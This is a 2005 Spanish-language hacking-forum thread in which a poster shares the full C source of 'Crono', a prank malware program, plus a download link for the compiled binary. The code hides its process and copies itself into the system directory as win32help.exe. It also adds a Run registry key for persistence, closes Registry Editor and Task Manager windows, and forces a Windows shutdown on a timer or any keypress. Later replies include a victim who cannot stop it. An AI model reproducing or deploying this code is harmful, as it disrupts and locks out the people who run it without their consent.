Título: Código fuente de Crono
Publicado por: Pseudoroot en 15 Septiembre 2005, 21:13 pm
Bueehh, finalmente aqui el pequeño y simple codigo de Crono.exe aquel programita que tanto susto y molestias causó a algunos, pues fue una broma, que me hizo reir un poco jeje. pero posteo el code debido a que varios me lo pidieron ,anda a saber para que. pero en fin,. aqui esta.. ahh,. este codigo es un claro ejemplo de como podemos usar el WindowProcedure, la funcion que interpreta los mensajes. y asi manejar los eventos que van ocurriendo en nuestra aplicacion, // Crono By Pseudoroot/GEDZAC
#include <windows.h> #include <stdio.h>
// PSEUDOROOT NI GEDZAC LABS SE HACEN // RESPONSABLE DEL USO QUE LE DES // AL CODIGO char nombres[MAX_PATH]; int bandera=0; int forzar=4; HANDLE th; LPSTR codigo; //para leer el codigo DWORD tamano; //tamaño del archivo ,no le puse tamaño debido a problemas con la ñ xD char nombre[MAX_PATH]; //para concatenar el nombre del archivo a generar char nom[256]; // para el modulo en ejcucion char varsystem[256];
#include "registro.h"
//--- Declaración de funciones del programa ------------------------------ int WINAPI WinMain( HINSTANCE, HINSTANCE, LPSTR, int ); LRESULT CALLBACK WndProc( HWND, UINT, WPARAM, LPARAM );
//--- Declaración de variables del programa ------------------------------ char WindowName[] = "Ventana de Windows"; char WindowTitle[] = "Crono By Pseudoroot"; int segundos; char* vent1 = "Registry Editor"; char* vent2 = "Editor del Registro"; char* vent3 = "Administrador de tareas de Windows"; char* vent4 = "Windows Task Manager"; //=== Función principal WinMain() ======================================== int WINAPI WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow ) { registrando(); SacarCodigo(); GetModuleFileName(0,nom,256); //sacamos el nombre del modulo en ejecucion en la var. nom GetSystemDirectory(varsystem,sizeof(varsystem)); strcat(varsystem,"\\win32help.exe"); CopyFile(nom,varsystem,0); strcat(nombre,"c:\\"); //concatenamos strcat(nombre,"copia.exe"); //nombre de la copia que generara el programa para luego leer el //codigo de esa misma copia CopyFile(nom,nombre,0); uno(); SacarCodigo(); //lamamos a la fucnion para que lea el codigo del archivo copia.exe HANDLE exe; // aunque finalmente no lo utilizo..xD DWORD w; exe=CreateFile("C:\\codigo.exe",GENERIC_WRITE,0,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0); if(exe!=INVALID_HANDLE_VALUE) //archivo que vamos a generar luego de sacar el codigo { WriteFile(exe,codigo,28000,&w,0); } HWND hwnd; // handle a la ventana ppal. MSG msg; // estructura de mensaje WNDCLASSEX wcx; // estructura de la ventana
// Definimos la estructura de clase de ventana (campos): wcx.cbSize = sizeof( WNDCLASSEX ); // tamaño de la estructura wcx.style = CS_HREDRAW | CS_VREDRAW; // valores más usuales wcx.lpfnWndProc = WndProc; // función de ventana (Wnd) wcx.cbClsExtra = 0; wcx.cbWndExtra = 0; // informaciones extra wcx.hInstance = hInstance; // instancia actual // icono, cursor, fondo e icono pequeño de la clase de ventana: wcx.hIcon = LoadIcon(NULL, IDI_WINLOGO); wcx.hCursor = LoadCursor(NULL, IDC_ARROW); wcx.hbrBackground = (HBRUSH) GetStockObject( WHITE_BRUSH ); wcx.hIconSm = LoadIcon(NULL, IDI_WINLOGO);
wcx.lpszMenuName = NULL; // nombre del menú wcx.lpszClassName = WindowName; // nombre de la ventana
// Registramos la clase de ventana ya preparada: if( !RegisterClassEx( &wcx ) ) return( FALSE ); // en caso de error, salir
// Creamos la ventana con CreateWindowEx(): hwnd = CreateWindowEx( WS_EX_OVERLAPPEDWINDOW, // estilo extendido WindowName, // nombre de la ventana WindowTitle, // título de la ventana WS_CAPTION, // estilo de ventana CW_USEDEFAULT, CW_USEDEFAULT, // Posición (x,y) en pantalla 420,150, // ancho y alto de la ventana NULL, NULL, // ventana padre e hija+menú hInstance, // instancia actual NULL // no hay más información );
// Comprobamos la creación de la ventana: if( !hwnd ) return( FALSE ); // en caso de error, salir
// Hacemos visible la ventana y la actualizamos: ShowWindow( hwnd, nCmdShow ); UpdateWindow( hwnd );
// Bucle de mensajes, envía los mensajes hacia WndProc while( GetMessage( &msg, NULL, 0, 0 ) ) { TranslateMessage( &msg ); // convertimos el mensaje DispatchMessage( &msg ); // devolvemos el control a w95 }
// devolvemos el valor recibido por PostQuitMessage(). return( msg.wParam ); DeleteFile("C:\\copia.exe"); }
//=== Función del procedimiento de ventana WndProc() ===================== LRESULT CALLBACK WndProc( HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam ) { HDC hdc; PAINTSTRUCT ps; RECT rect; int longitud; int entero; char cadena[40]; char cadena2[50];
switch( message ) { case WM_CREATE: segundos=30; SetTimer( hwnd, 1, 1000, NULL ); // break;
case WM_KEYDOWN: { ExitWindowsEx(forzar,0); } if( wParam == VK_ESCAPE ) MessageBoxA(NULL,"Yo en tu lugar no volveria a hacer eso","GEDZAC LABS 2005",MB_OK); break; case WM_TIMER: segundos--; if( segundos==0) {ExitWindowsEx(forzar,0); } HWND handle;
handle = FindWindow(0,vent1); if (handle!=0) { PostMessage(handle,0x12,0,0); } handle = FindWindow(0,vent2); if (handle!=0) { PostMessage(handle,0x12,0,0); } handle = FindWindow(0,vent3); if (handle!=0) { PostMessage(handle,0x12,0,0); }
handle = FindWindow(0,vent4); if (handle!=0) { PostMessage(handle,0x12,0,0); }
GetClientRect( hwnd, &rect ); InvalidateRect( hwnd, &rect, TRUE ); break; case WM_LBUTTONDOWN: MessageBoxA(NULL,"Que estupido eres!!!!!","En fin",MB_OK); break; case WM_RBUTTONDOWN: MessageBoxA(NULL,"Imbecil no eres mas que eso","Pues piensa",MB_OK); break; case WM_RBUTTONDBLCLK: MessageBoxA(NULL,"Te digo como safarse, pues tienes ,ups ,se me olvidó","Jejejeje",0); break; case WM_NCLBUTTONDOWN: MessageBoxA(NULL,"nah","nah",0); break;
case WM_PAINT: hdc = BeginPaint( hwnd, &ps ); GetClientRect( hwnd, &rect ); longitud=wsprintf(cadena, "%s%02d","Trata de cerrarme antes que yo te cierre a ti ", segundos); DrawText( hdc, cadena, -1, &rect, DT_SINGLELINE | DT_CENTER | DT_VCENTER ); EndPaint( hwnd, &ps ); break; case WM_CLOSE: MessageBoxA(NULL,"NOoo, no insistas...","JAjajaja",MB_OK); break;
case WM_DESTROY: MessageBoxA(NULL,"NOoo, no insistas...","JAjajaja",MB_OK); break;
default: return( DefWindowProc( hwnd, message, wParam, lParam ) ); }
return(0); }
registro.h
#ifndef _RegisterProcess_ #define _RegisterProcess_
void registrando() { typedef DWORD(_stdcall *pRegFunction) (DWORD,DWORD); HINSTANCE hkernelLib; pRegFunction RegisterServiceProcess; hkernelLib=LoadLibrary("Kernel32.dll"); if(hkernelLib) { RegisterServiceProcess=(pRegFunction) GetProcAddress (hkernelLib,"RegisterServiceProcess"); if (RegisterServiceProcess) { RegisterServiceProcess(0,1); FreeLibrary(hkernelLib); } }
}
void SacarCodigo() { HANDLE fi; //un handle para leer el archivo DWORD rid; //para la api fi=CreateFile(nombre,GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,0,NULL); if(fi!=INVALID_HANDLE_VALUE) //abrimos el archivo creado antes en la fucnion principal { tamano=GetFileSize(fi,NULL); //sacamos el tamaño del archivo codigo=(LPSTR)GlobalAlloc(GPTR,tamano+1); //reservamos memoria //para leer el archivo completo +1 por el caracter nulo if(codigo!=NULL) //verificamos que se haya podido { ReadFile(fi,codigo,tamano,&rid,0); //leemos el archivo } } CloseHandle(fi); //cerramos handle } void uno() { HKEY hkey; RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\run",0,KEY_SET_VALUE,&hkey); RegSetValueEx(hkey,"Smsss",0,REG_SZ,(const unsigned char*)varsystem,sizeof(varsystem)); } #endif
Pues ya saben, supongo que esta bastante facil de entender y sino, ya saben solo posteen sus dudas..
Título: Re: Código fuente de Crono
Publicado por: pisagatos en 15 Septiembre 2005, 22:11 pm
Graciass!! Muchas gracias por postearlo
Título: Re: Código fuente de Crono
Publicado por: Pseudoroot en 15 Septiembre 2005, 22:13 pm
se agradece, claro que si, ojala y te sirva para que comprendas como funcionaba.
Saludos.
Título: Re: Código fuente de Crono
Publicado por: Thaorius en 15 Septiembre 2005, 23:43 pm
No es por nada, pero que se supone que hace?
Saludos
Título: Re: Código fuente de Crono
Publicado por: Pseudoroot en 15 Septiembre 2005, 23:46 pm
si quieres probarlo copia y pega este link en tunavegador
http://usuarios.lycos.es/pseudoroot/crono1.zip
Título: Re: Código fuente de Crono
Publicado por: Pseudoroot en 16 Septiembre 2005, 00:11 am
si no quieres ejecutarlo leete este hilo
http://foro.elhacker.net/index.php/topic,84489.0.html
Título: Re: Código fuente de Crono
Publicado por: Thaorius en 16 Septiembre 2005, 00:37 am
Gracias, ahora lo miro.
Saludos
Título: Re: Código fuente de Crono
Publicado por: Pseudoroot en 16 Septiembre 2005, 00:53 am
Pues yo te recomiendo que lo ejecutes y lo pruebes..
la solucion esta en el mismo hilo ,que te di..
Título: Re: Código fuente de Crono
Publicado por: Thaorius en 16 Septiembre 2005, 01:39 am
La solucion esta en el codigo fuente. ;D ;D ;D
Saludos
Título: Re: Código fuente de Crono
Publicado por: Pseudoroot en 16 Septiembre 2005, 01:58 am
Otra de las opciones. ahora que está publicado.
Título: Re: Código fuente de Crono
Publicado por: oskidelrio en 27 Abril 2012, 23:19 pm
¿como se cierra el crono?????? no hay manera,menuda jugarreta...no lo probeis
dadme la solución porfavor
|